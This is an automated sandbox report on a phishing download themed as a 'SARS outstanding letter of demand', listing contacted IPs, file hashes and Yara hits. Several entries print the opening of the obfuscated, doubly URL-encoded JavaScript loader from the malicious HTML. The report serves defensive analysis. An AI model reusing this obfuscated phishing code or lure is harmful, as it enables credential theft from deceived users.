https://cloudfil.es/images/logoWordmark.svg	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.19.155.83	app.hubspot.com	United States	13335	CLOUDFLARENETUS	false
108.177.15.156	stats.l.doubleclick.net	United States	15169	GOOGLEUS	false
95.140.230.217	dmotion.s.llnwi.net	United Kingdom	22822	LLNWUS	false
104.18.33.171	js.hs-banner.com	United States	13335	CLOUDFLARENETUS	false
104.17.213.204	js-na1.hs-scripts.com	United States	13335	CLOUDFLARENETUS	false
157.240.17.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
104.17.239.204	js.usemessages.com	United States	13335	CLOUDFLARENETUS	false
142.250.184.226	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.6.210	static.hsappstatic.net	United States	13335	CLOUDFLARENETUS	false
76.76.21.21	cloudfil.es	United States	16509	AMAZON-02US	false
104.17.240.204	avatars.hubspot.net	United States	13335	CLOUDFLARENETUS	false
104.21.52.125	unknown	United States	13335	CLOUDFLARENETUS	false
104.19.154.83	track.hubspot.com	United States	13335	CLOUDFLARENETUS	false
172.217.18.8	www-googletagmanager.l.google.com	United States	15169	GOOGLEUS	false
142.250.186.182	i.ytimg.com	United States	15169	GOOGLEUS	false
172.217.18.3	www.google.co.uk	United States	15169	GOOGLEUS	false
142.250.185.110	play.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.112.176	js.hsadspixel.net	United States	13335	CLOUDFLARENETUS	false
172.217.16.195	gstaticadssl.l.google.com	United States	15169	GOOGLEUS	false
142.250.186.46	clients.l.google.com	United States	15169	GOOGLEUS	false
108.138.32.174	d296je7bbdd650.cloudfront.net	United States	16509	AMAZON-02US	false
142.250.185.166	static-doubleclick-net.l.google.com	United States	15169	GOOGLEUS	false
216.239.32.36	region1.analytics.google.com	United States	15169	GOOGLEUS	false
172.217.23.110	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
157.240.17.15	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
216.58.212.173	accounts.google.com	United States	15169	GOOGLEUS	false
142.250.186.161	photos-ugc.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.17.202.204	api.hubapi.com	United States	13335	CLOUDFLARENETUS	false
116.203.90.127	cdn.cookie-script.com	Germany	24940	HETZNER-ASDE	false
172.67.199.56	api.cloudfil.es	United States	13335	CLOUDFLARENETUS	false
104.17.69.176	js.hs-analytics.net	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1
192.168.2.4
192.168.2.5
127.0.0.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	708252
Start date and time:	2022-09-23 08:13:19 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 52s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	browseurl.jbs
Sample URL:	https://cloudfil.es/ly7mR8utBQ5
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.phis.win@53/12@49/38
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://cloudfiles.io/

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.163, 34.104.35.123, 142.250.185.234, 80.67.82.235, 80.67.82.240, 13.107.42.14, 216.239.32.178, 216.239.38.178, 216.239.36.178, 216.239.34.178, 142.250.74.194, 142.250.184.202, 142.250.184.234, 172.217.18.10, 172.217.16.138, 172.217.23.106, 172.217.18.106, 142.250.185.74, 142.250.185.106, 142.250.185.138, 142.250.185.170, 142.250.185.202, 142.250.181.234, 172.217.16.202, 216.58.212.170, 142.250.74.202, 151.101.2.137, 151.101.66.137, 151.101.130.137, 151.101.194.137, 162.247.241.2, 142.250.186.131
Excluded domains from analysis (whitelisted): www-linkedin-com.l-0005.l-msedge.net, fonts.googleapis.com, fs.microsoft.com, www.googleadservices.com, fonts.gstatic.com, tls12.newrelic.com.cdn.cloudflare.net, www-alv.google-analytics.com, clientservices.googleapis.com, od.linkedin.edgesuite.net, jnn-pa.googleapis.com, k.sni.global.fastly.net, l-0005.l-msedge.net, edgedl.me.gvt1.com, www.googletagmanager.com, update.googleapis.com, a1916.dscg2.akamai.net, www.google-analytics.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	607486
Entropy (8bit):	5.2236882570919505
Encrypted:	false
SSDEEP:	6144:IgudndlMFDNrPmbRo0oGPmgE+fgx5b1ZugL6kVxV7HX756inXK4C3ambG0OUy5j9:JAWeXE+AIgmmxWina4C3DJOUmzDa7y
MD5:	6C7C272ABC28BF1E856F0B55908EFDF8
SHA1:	C59D77633692929D62CE37C7C505B6B16D93F1DC
SHA-256:	95C9619234E4C0FEB72CD913280552B2DFA9CE6B1B8422FB31696917B880F4ED
SHA-512:	8C31B996DA89C2F5396A9D8EABDDEBF239771B51D5B17E350B9BE9B9EA8EA6C2FF99FF0499F5A5C098AA59BA5CF8740983D27B8F4AE8413C14674736702FD6EA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_HtmlPhish_44, Description: Yara detected HtmlPhish_44, Source: C:\Users\user\AppData\Local\Temp\evppz250.yan\SARS OUTSTANDING LETTER OF DEMAND.html, Author: Joe Security
Reputation:	low
Preview:	<script language=javascript>document.write(unescape('%3Cscript%20language%3Djavascript%3Edocument.write%28unescape%28%27%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%253Chtml%2520xmlns%253D%2522http%253A//www.w3.org/1999/xhtml%2522%253E%250A%253Chead%253E%250A%253Cscript%2520type%253D%2522text/javascript%2522%253Efunction%2520showDiv%2528%2529%2520%257B%2520%2520%2520document.getElementById%2528%2527welcomeDiv%2527%2529.style.display%2520%253D%2520%2522block%2522%253B%2520%2520%2520document.getElementById%2528

C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e\SARS OUTSTANDING LETTER OF DEMAND.html

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	607486
Entropy (8bit):	5.2236882570919505
Encrypted:	false
SSDEEP:	6144:IgudndlMFDNrPmbRo0oGPmgE+fgx5b1ZugL6kVxV7HX756inXK4C3ambG0OUy5j9:JAWeXE+AIgmmxWina4C3DJOUmzDa7y
MD5:	6C7C272ABC28BF1E856F0B55908EFDF8
SHA1:	C59D77633692929D62CE37C7C505B6B16D93F1DC
SHA-256:	95C9619234E4C0FEB72CD913280552B2DFA9CE6B1B8422FB31696917B880F4ED
SHA-512:	8C31B996DA89C2F5396A9D8EABDDEBF239771B51D5B17E350B9BE9B9EA8EA6C2FF99FF0499F5A5C098AA59BA5CF8740983D27B8F4AE8413C14674736702FD6EA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_HtmlPhish_44, Description: Yara detected HtmlPhish_44, Source: C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e\SARS OUTSTANDING LETTER OF DEMAND.html, Author: Joe Security
Reputation:	low
Preview:	<script language=javascript>document.write(unescape('%3Cscript%20language%3Djavascript%3Edocument.write%28unescape%28%27%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%253Chtml%2520xmlns%253D%2522http%253A//www.w3.org/1999/xhtml%2522%253E%250A%253Chead%253E%250A%253Cscript%2520type%253D%2522text/javascript%2522%253Efunction%2520showDiv%2528%2529%2520%257B%2520%2520%2520document.getElementById%2528%2527welcomeDiv%2527%2529.style.display%2520%253D%2520%2522block%2522%253B%2520%2520%2520document.getElementById%2528

C:\Users\user\AppData\Local\Temp\oluilyf2.xu4\SARS OUTSTANDING LETTER OF DEMAND.html

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	607486
Entropy (8bit):	5.2236882570919505
Encrypted:	false
SSDEEP:	6144:IgudndlMFDNrPmbRo0oGPmgE+fgx5b1ZugL6kVxV7HX756inXK4C3ambG0OUy5j9:JAWeXE+AIgmmxWina4C3DJOUmzDa7y
MD5:	6C7C272ABC28BF1E856F0B55908EFDF8
SHA1:	C59D77633692929D62CE37C7C505B6B16D93F1DC
SHA-256:	95C9619234E4C0FEB72CD913280552B2DFA9CE6B1B8422FB31696917B880F4ED
SHA-512:	8C31B996DA89C2F5396A9D8EABDDEBF239771B51D5B17E350B9BE9B9EA8EA6C2FF99FF0499F5A5C098AA59BA5CF8740983D27B8F4AE8413C14674736702FD6EA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_HtmlPhish_44, Description: Yara detected HtmlPhish_44, Source: C:\Users\user\AppData\Local\Temp\oluilyf2.xu4\SARS OUTSTANDING LETTER OF DEMAND.html, Author: Joe Security
Reputation:	low
Preview:	<script language=javascript>document.write(unescape('%3Cscript%20language%3Djavascript%3Edocument.write%28unescape%28%27%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%250A%253Chtml%2520xmlns%253D%2522http%253A//www.w3.org/1999/xhtml%2522%253E%250A%253Chead%253E%250A%253Cscript%2520type%253D%2522text/javascript%2522%253Efunction%2520showDiv%2528%2529%2520%257B%2520%2520%2520document.getElementById%2528%2527welcomeDiv%2527%2529.style.display%2520%253D%2520%2522block%2522%253B%2520%2520%2520document.getElementById%2528

C:\Users\user\AppData\Local\Temp\unarchiver.log

Download File

Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	4236
Entropy (8bit):	5.232726440512009
Encrypted:	false
SSDEEP:	48:vuvFGTGbTGTGpJGYGTGpvnGbFGGnG7GVGTGOGTGTG0lywbWGTGbTGTGpJGYGTGpz:vQMFsUw4w9FwlUh/F0v
MD5:	4EE4F7492444E8A277AFD31BE256EA59
SHA1:	7DB4767426AA4F6F058339526DD8CE377CB0F586
SHA-256:	92EA0D6D6903C7F8880CDEC5A3B795400381D8F2A5DDDBE88757EAEB88B94472
SHA-512:	0F3C1FAA7124E44A1B9C415A725219398F939C13DCB6FB8AF00B45F47477CFC354F1894C9C25428587C1E18E51FA8DE8CA2AF267C73517F29636728224198ED9
Malicious:	false
Reputation:	low
Preview:	09/23/2022 8:14 AM: Unpack: C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip..09/23/2022 8:15 AM: Tmp dir: C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e..09/23/2022 8:15 AM: Received from standard out: ..09/23/2022 8:15 AM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..09/23/2022 8:15 AM: Received from standard out: ..09/23/2022 8:15 AM: Received from standard out: Scanning the drive for archives:..09/23/2022 8:15 AM: Received from standard out: 1 file, 218624 bytes (214 KiB)..09/23/2022 8:15 AM: Received from standard out: ..09/23/2022 8:15 AM: Received from standard out: Extracting archive: C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip..09/23/2022 8:15 AM: Received from standard out: --..09/23/2022 8:15 AM: Received from standard out: Path = C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip..09/23/2022 8:15 AM: Received from standard out: Type = zip..09/23/2022 8:15 AM: Received from stan

C:\Users\user\Downloads\22e8244c-6e16-464c-801c-35bec625d846.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	7.992671078684705
Encrypted:	true
SSDEEP:	768:U4HB+ZeuYtS2pfJN/DXcT/k1J1/WzzYaHxKA695tdZP+Q9bgJ:U4H2euORdX4/sJ1/8zYaHxKA67BP+RJ
MD5:	F4CDDC3CA6224D9613C1309A94F05FE4
SHA1:	6024DF7345E7A805DDF0D83A2E766B8C8F96F4C1
SHA-256:	00384D0BEC2D3E1BDE76849383B8016C4748D114EE2A2D7E66C97B4D0CF3E16D
SHA-512:	C67DABE92C8E4043E43CF16F8CC6301A8FC499653438C915984C447B1FB300A8C598B428B6F86AF19786A9CCE0171E85D5694378636B321518317AEF32F0FAC5
Malicious:	false
Reputation:	low
Preview:	PK.........Z6U./..RU...D..&...SARS OUTSTANDING LETTER OF DEMAND.html.:Y..Z..e^:.0,v....@....E.e...Mv...b.[-.]}..<.z8.9.yr'3.....O.....-t...^...b...(..R?..UDvf......L. ?`....B.P. .#...xC................xy.t.0X.A.....W..........^.%N]."I...p.3.sG....7.....+....:....J.)"3.........L......\|....\..s&...fj]1....8._..=..,o....$.7b..{........o_.......g.sg.G.......WU.k8.s..=[lh..^.W-O.(.../..I.y....x......}.)rgH..'.r?.z.2........N.l+.K..........9.,.j...._......z?..PO]?....sL..`R..s....k..w...0.<..O`..<.i\D...8......7X.~.d.[...I,.3...C?hnt.........vP.o.L..af..s.'...}#......[..n...a.G.'....Z........D^=..@.g....../....N....e......'N..9..8x q........D./.o...f...Z...g?.\|g.w..nY~../..5..X.y...\|..../......P.S..8.;..D..8....2.C;.G.S...zU_....a.4.........W..V.q.............%?..?.r....F....xr...x.../x../\|.4O...?....,....................).'.....\.....9.!_..?..=.?...^....Id....%2#.......G}.....i>k.>E.....WO.).r..\|...t...z.wV4...@>N.^W...D7.2R...8]9..`..B.

C:\Users\user\Downloads\97f61521-b3dd-4003-bb1c-5ea026c9e45a.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	7.992671078684705
Encrypted:	true
SSDEEP:	768:U4HB+ZeuYtS2pfJN/DXcT/k1J1/WzzYaHxKA695tdZP+Q9bgJ:U4H2euORdX4/sJ1/8zYaHxKA67BP+RJ
MD5:	F4CDDC3CA6224D9613C1309A94F05FE4
SHA1:	6024DF7345E7A805DDF0D83A2E766B8C8F96F4C1
SHA-256:	00384D0BEC2D3E1BDE76849383B8016C4748D114EE2A2D7E66C97B4D0CF3E16D
SHA-512:	C67DABE92C8E4043E43CF16F8CC6301A8FC499653438C915984C447B1FB300A8C598B428B6F86AF19786A9CCE0171E85D5694378636B321518317AEF32F0FAC5
Malicious:	false
Reputation:	low
Preview:	PK.........Z6U./..RU...D..&...SARS OUTSTANDING LETTER OF DEMAND.html.:Y..Z..e^:.0,v....@....E.e...Mv...b.[-.]}..<.z8.9.yr'3.....O.....-t...^...b...(..R?..UDvf......L. ?`....B.P. .#...xC................xy.t.0X.A.....W..........^.%N]."I...p.3.sG....7.....+....:....J.)"3.........L......\|....\..s&...fj]1....8._..=..,o....$.7b..{........o_.......g.sg.G.......WU.k8.s..=[lh..^.W-O.(.../..I.y....x......}.)rgH..'.r?.z.2........N.l+.K..........9.,.j...._......z?..PO]?....sL..`R..s....k..w...0.<..O`..<.i\D...8......7X.~.d.[...I,.3...C?hnt.........vP.o.L..af..s.'...}#......[..n...a.G.'....Z........D^=..@.g....../....N....e......'N..9..8x q........D./.o...f...Z...g?.\|g.w..nY~../..5..X.y...\|..../......P.S..8.;..D..8....2.C;.G.S...zU_....a.4.........W..V.q.............%?..?.r....F....xr...x.../x../\|.4O...?....,....................).'.....\.....9.!_..?..=.?...^....Id....%2#.......G}.....i>k.>E.....WO.).r..\|...t...z.wV4...@>N.^W...D7.2R...8]9..`..B.

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	218624
Entropy (8bit):	7.997633897441664
Encrypted:	true
SSDEEP:	6144:Uir/w6o2bJbeM8N39ricj/EkZe1cGDRyKkcWT0n0v:5Do2NbeM8NhiM/EkmTZX0v
MD5:	768A4E2E3787C533A467D3FB433F9BEB
SHA1:	E3EB38314319F27BCA5F17DA7CEB96CA64030894
SHA-256:	3CB16DBD2D8C4D037FB5A6BA58D24CBDC6E82A23021FC0666FE0CAB25AA47E3E
SHA-512:	768740724AADDD9BEF9C4EF0F0CE57CC5316BEC60AE3C956ACAE3E62BF9F99983EC0231C9F487593A8CE4B4BD10927F1F66608F3B24987895E449F8403818CC4
Malicious:	false
Reputation:	low
Preview:	PK.........Z6U./..RU...D..&...SARS OUTSTANDING LETTER OF DEMAND.html.:Y..Z..e^:.0,v....@....E.e...Mv...b.[-.]}..<.z8.9.yr'3.....O.....-t...^...b...(..R?..UDvf......L. ?`....B.P. .#...xC................xy.t.0X.A.....W..........^.%N]."I...p.3.sG....7.....+....:....J.)"3.........L......\|....\..s&...fj]1....8._..=..,o....$.7b..{........o_.......g.sg.G.......WU.k8.s..=[lh..^.W-O.(.../..I.y....x......}.)rgH..'.r?.z.2........N.l+.K..........9.,.j...._......z?..PO]?....sL..`R..s....k..w...0.<..O`..<.i\D...8......7X.~.d.[...I,.3...C?hnt.........vP.o.L..af..s.'...}#......[..n...a.G.'....Z........D^=..@.g....../....N....e......'N..9..8x q........D./.o...f...Z...g?.\|g.w..nY~../..5..X.y...\|..../......P.S..8.;..D..8....2.C;.G.S...zU_....a.4.........W..V.q.............%?..?.r....F....xr...x.../x../\|.4O...?....,....................).'.....\.....9.!_..?..=.?...^....Id....%2#.......G}.....i>k.>E.....WO.).r..\|...t...z.wV4...@>N.^W...D7.2R...8]9..`..B.

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	218624
Entropy (8bit):	7.997633897441664
Encrypted:	true
SSDEEP:	6144:Uir/w6o2bJbeM8N39ricj/EkZe1cGDRyKkcWT0n0v:5Do2NbeM8NhiM/EkmTZX0v
MD5:	768A4E2E3787C533A467D3FB433F9BEB
SHA1:	E3EB38314319F27BCA5F17DA7CEB96CA64030894
SHA-256:	3CB16DBD2D8C4D037FB5A6BA58D24CBDC6E82A23021FC0666FE0CAB25AA47E3E
SHA-512:	768740724AADDD9BEF9C4EF0F0CE57CC5316BEC60AE3C956ACAE3E62BF9F99983EC0231C9F487593A8CE4B4BD10927F1F66608F3B24987895E449F8403818CC4
Malicious:	false
Reputation:	low
Preview:	PK.........Z6U./..RU...D..&...SARS OUTSTANDING LETTER OF DEMAND.html.:Y..Z..e^:.0,v....@....E.e...Mv...b.[-.]}..<.z8.9.yr'3.....O.....-t...^...b...(..R?..UDvf......L. ?`....B.P. .#...xC................xy.t.0X.A.....W..........^.%N]."I...p.3.sG....7.....+....:....J.)"3.........L......\|....\..s&...fj]1....8._..=..,o....$.7b..{........o_.......g.sg.G.......WU.k8.s..=[lh..^.W-O.(.../..I.y....x......}.)rgH..'.r?.z.2........N.l+.K..........9.,.j...._......z?..PO]?....sL..`R..s....k..w...0.<..O`..<.i\D...8......7X.~.d.[...I,.3...C?hnt.........vP.o.L..af..s.'...}#......[..n...a.G.'....Z........D^=..@.g....../....N....e......'N..9..8x q........D./.o...f...Z...g?.\|g.w..nY~../..5..X.y...\|..../......P.S..8.;..D..8....2.C;.G.S...zU_....a.4.........W..V.q.............%?..?.r....F....xr...x.../x../\|.4O...?....,....................).'.....\.....9.!_..?..=.?...^....Id....%2#.......G}.....i>k.>E.....WO.).r..\|...t...z.wV4...@>N.^W...D7.2R...8]9..`..B.

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	218624
Entropy (8bit):	7.997633897441664
Encrypted:	true
SSDEEP:	6144:Uir/w6o2bJbeM8N39ricj/EkZe1cGDRyKkcWT0n0v:5Do2NbeM8NhiM/EkmTZX0v
MD5:	768A4E2E3787C533A467D3FB433F9BEB
SHA1:	E3EB38314319F27BCA5F17DA7CEB96CA64030894
SHA-256:	3CB16DBD2D8C4D037FB5A6BA58D24CBDC6E82A23021FC0666FE0CAB25AA47E3E
SHA-512:	768740724AADDD9BEF9C4EF0F0CE57CC5316BEC60AE3C956ACAE3E62BF9F99983EC0231C9F487593A8CE4B4BD10927F1F66608F3B24987895E449F8403818CC4
Malicious:	false
Reputation:	low
Preview:	PK.........Z6U./..RU...D..&...SARS OUTSTANDING LETTER OF DEMAND.html.:Y..Z..e^:.0,v....@....E.e...Mv...b.[-.]}..<.z8.9.yr'3.....O.....-t...^...b...(..R?..UDvf......L. ?`....B.P. .#...xC................xy.t.0X.A.....W..........^.%N]."I...p.3.sG....7.....+....:....J.)"3.........L......\|....\..s&...fj]1....8._..=..,o....$.7b..{........o_.......g.sg.G.......WU.k8.s..=[lh..^.W-O.(.../..I.y....x......}.)rgH..'.r?.z.2........N.l+.K..........9.,.j...._......z?..PO]?....sL..`R..s....k..w...0.<..O`..<.i\D...8......7X.~.d.[...I,.3...C?hnt.........vP.o.L..af..s.'...}#......[..n...a.G.'....Z........D^=..@.g....../....N....e......'N..9..8x q........D./.o...f...Z...g?.\|g.w..nY~../..5..X.y...\|..../......P.S..8.;..D..8....2.C;.G.S...zU_....a.4.........W..V.q.............%?..?.r....F....xr...x.../x../\|.4O...?....,....................).'.....\.....9.!_..?..=.?...^....Id....%2#.......G}.....i>k.>E.....WO.).r..\|...t...z.wV4...@>N.^W...D7.2R...8]9..`..B.

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	218624
Entropy (8bit):	7.997633897441664
Encrypted:	true
SSDEEP:	6144:Uir/w6o2bJbeM8N39ricj/EkZe1cGDRyKkcWT0n0v:5Do2NbeM8NhiM/EkmTZX0v
MD5:	768A4E2E3787C533A467D3FB433F9BEB
SHA1:	E3EB38314319F27BCA5F17DA7CEB96CA64030894
SHA-256:	3CB16DBD2D8C4D037FB5A6BA58D24CBDC6E82A23021FC0666FE0CAB25AA47E3E
SHA-512:	768740724AADDD9BEF9C4EF0F0CE57CC5316BEC60AE3C956ACAE3E62BF9F99983EC0231C9F487593A8CE4B4BD10927F1F66608F3B24987895E449F8403818CC4
Malicious:	false
Reputation:	low
Preview:	PK.........Z6U./..RU...D..&...SARS OUTSTANDING LETTER OF DEMAND.html.:Y..Z..e^:.0,v....@....E.e...Mv...b.[-.]}..<.z8.9.yr'3.....O.....-t...^...b...(..R?..UDvf......L. ?`....B.P. .#...xC................xy.t.0X.A.....W..........^.%N]."I...p.3.sG....7.....+....:....J.)"3.........L......\|....\..s&...fj]1....8._..=..,o....$.7b..{........o_.......g.sg.G.......WU.k8.s..=[lh..^.W-O.(.../..I.y....x......}.)rgH..'.r?.z.2........N.l+.K..........9.,.j...._......z?..PO]?....sL..`R..s....k..w...0.<..O`..<.i\D...8......7X.~.d.[...I,.3...C?hnt.........vP.o.L..af..s.'...}#......[..n...a.G.'....Z........D^=..@.g....../....N....e......'N..9..8x q........D./.o...f...Z...g?.\|g.w..nY~../..5..X.y...\|..../......P.S..8.;..D..8....2.C;.G.S...zU_....a.4.........W..V.q.............%?..?.r....F....xr...x.../x../\|.4O...?....,....................).'.....\.....9.!_..?..=.?...^....Id....%2#.......G}.....i>k.>E.....WO.).r..\|...t...z.wV4...@>N.^W...D7.2R...8]9..`..B.

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	218624
Entropy (8bit):	7.997633897441664
Encrypted:	true
SSDEEP:	6144:Uir/w6o2bJbeM8N39ricj/EkZe1cGDRyKkcWT0n0v:5Do2NbeM8NhiM/EkmTZX0v
MD5:	768A4E2E3787C533A467D3FB433F9BEB
SHA1:	E3EB38314319F27BCA5F17DA7CEB96CA64030894
SHA-256:	3CB16DBD2D8C4D037FB5A6BA58D24CBDC6E82A23021FC0666FE0CAB25AA47E3E
SHA-512:	768740724AADDD9BEF9C4EF0F0CE57CC5316BEC60AE3C956ACAE3E62BF9F99983EC0231C9F487593A8CE4B4BD10927F1F66608F3B24987895E449F8403818CC4
Malicious:	false
Reputation:	low
Preview:	PK.........Z6U./..RU...D..&...SARS OUTSTANDING LETTER OF DEMAND.html.:Y..Z..e^:.0,v....@....E.e...Mv...b.[-.]}..<.z8.9.yr'3.....O.....-t...^...b...(..R?..UDvf......L. ?`....B.P. .#...xC................xy.t.0X.A.....W..........^.%N]."I...p.3.sG....7.....+....:....J.)"3.........L......\|....\..s&...fj]1....8._..=..,o....$.7b..{........o_.......g.sg.G.......WU.k8.s..=[lh..^.W-O.(.../..I.y....x......}.)rgH..'.r?.z.2........N.l+.K..........9.,.j...._......z?..PO]?....sL..`R..s....k..w...0.<..O`..<.i\D...8......7X.~.d.[...I,.3...C?hnt.........vP.o.L..af..s.'...}#......[..n...a.G.'....Z........D^=..@.g....../....N....e......'N..9..8x q........D./.o...f...Z...g?.\|g.w..nY~../..5..X.y...\|..../......P.S..8.;..D..8....2.C;.G.S...zU_....a.4.........W..V.q.............%?..?.r....F....xr...x.../x../\|.4O...?....,....................).'.....\.....9.!_..?..=.?...^....Id....%2#.......G}.....i>k.>E.....WO.).r..\|...t...z.wV4...@>N.^W...D7.2R...8]9..`..B.

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	218624
Entropy (8bit):	7.997633897441664
Encrypted:	true
SSDEEP:	6144:Uir/w6o2bJbeM8N39ricj/EkZe1cGDRyKkcWT0n0v:5Do2NbeM8NhiM/EkmTZX0v
MD5:	768A4E2E3787C533A467D3FB433F9BEB
SHA1:	E3EB38314319F27BCA5F17DA7CEB96CA64030894
SHA-256:	3CB16DBD2D8C4D037FB5A6BA58D24CBDC6E82A23021FC0666FE0CAB25AA47E3E
SHA-512:	768740724AADDD9BEF9C4EF0F0CE57CC5316BEC60AE3C956ACAE3E62BF9F99983EC0231C9F487593A8CE4B4BD10927F1F66608F3B24987895E449F8403818CC4
Malicious:	false
Reputation:	low
